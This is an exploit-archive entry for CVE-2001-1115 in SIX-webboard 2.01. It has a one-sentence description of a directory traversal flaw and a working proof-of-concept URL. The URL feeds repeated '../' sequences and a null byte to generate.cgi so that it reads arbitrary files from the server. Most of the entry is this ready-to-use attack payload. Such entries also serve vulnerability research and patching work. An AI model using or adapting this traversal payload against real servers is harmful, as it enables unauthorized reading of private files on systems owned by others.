SIX-webboard 2.01 - File Retrieval



EKU-ID: 26591 CVE: CVE-2001-1115;OSVDB-603 OSVDB-ID:
Author: Hannibal Lector Published: 2001-08-31 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


source: https://www.securityfocus.com/bid/3175/info

SIX-webboard 2.01 does not filter ".." and "/" from user input, allowing users to enter arbitrary values in order to view or retrieve files not normally accessible to them from the remote host.

http://www.target.com/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname